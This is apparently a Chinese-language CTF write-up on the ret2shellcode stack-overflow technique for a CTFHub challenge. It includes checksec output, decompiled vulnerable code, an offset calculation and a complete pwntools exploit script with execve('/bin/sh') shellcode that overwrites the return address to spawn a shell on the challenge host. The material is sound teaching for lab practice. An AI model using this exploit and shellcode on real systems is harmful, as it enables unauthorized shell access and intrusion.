ret2shellcode | By KingZer0 x1

基本特征:未开启canary机制，NX保护是关闭的，没有system函数，需要**自己构造shell。**

原理：通过栈溢出，使某个函数的返回地址指向自己构造shellcode的位置，让程序返回到shellcode的地址去执行shellcode。

工具：pwntools、gdb、ida

关键理解：栈溢出

基础知识：NX保护使栈区域的代码无法被执行，我们构造的shellcode往往存在于栈区域，所以开启保护将影响该方式的栈溢出。shellcode也可以自己编写，但入门可以先用网上提供的以及写好的code。

以CTFHub上的栈溢出ret2shellcode为例

wp：

首先检查安全措施,并未开启任何保护。

```
[*] '/root/CTF/test/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments```
```

打开ida分析,发现题目已经告诉你buf的地址，并且在read函数会发生栈溢出。buf相对与rbp偏移为0x10。

```
{
  __int64 buf; // [rsp+0h] [rbp-10h]
  __int64 v5; // [rsp+8h] [rbp-8h]
    buf = 0LL;
  v5 = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  puts("Welcome to CTFHub ret2shellcode!");
  printf("What is it : [%p] ?\n", &buf, 0LL, 0LL);//这里打印了buf的地址
  puts("Input someting : ");
  read(0, &buf, 0x400uLL);//这里存在栈溢出
  return 0;
}
```

`

所以使数据溢出覆盖到返回地址需要16+8=24字节，因此可以构造payload

`payload='a'*24+[buf_addr+32]+shellcode`

buf_addr+32是因为这里是在返回地址后注入shellcode，buf_addr+16+8的位置是返回地址，所以再加8(越过返回地址的内存单元)就是我们注入的shellcode的地址

因此需要再buf_addr后加32

exp如下

```
from pwn import *
context.log_level = "debug"
host='challenge-a8b1e4d5df6673c7.sandbox.ctfhub.com'
port=20744
c=connect(host,port)
c.recvuntil('[')
buf_addr = c.recvuntil(']', drop=True)
print buf_addr
shell="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\
x58\x31\xd2\x0f\x05"
payload='a'*24+p64(int(buf_addr,16)+32)+shell
c.recvuntil('Input someting : \n')
c.sendline(payload)
c.interactive()
```

因为buf地址每次运行都不一样，所以需要动态读取它，shell也可以用shell=asm(shellcraft.sh())构造。由于获取的addr是字符所以需要int进行转换。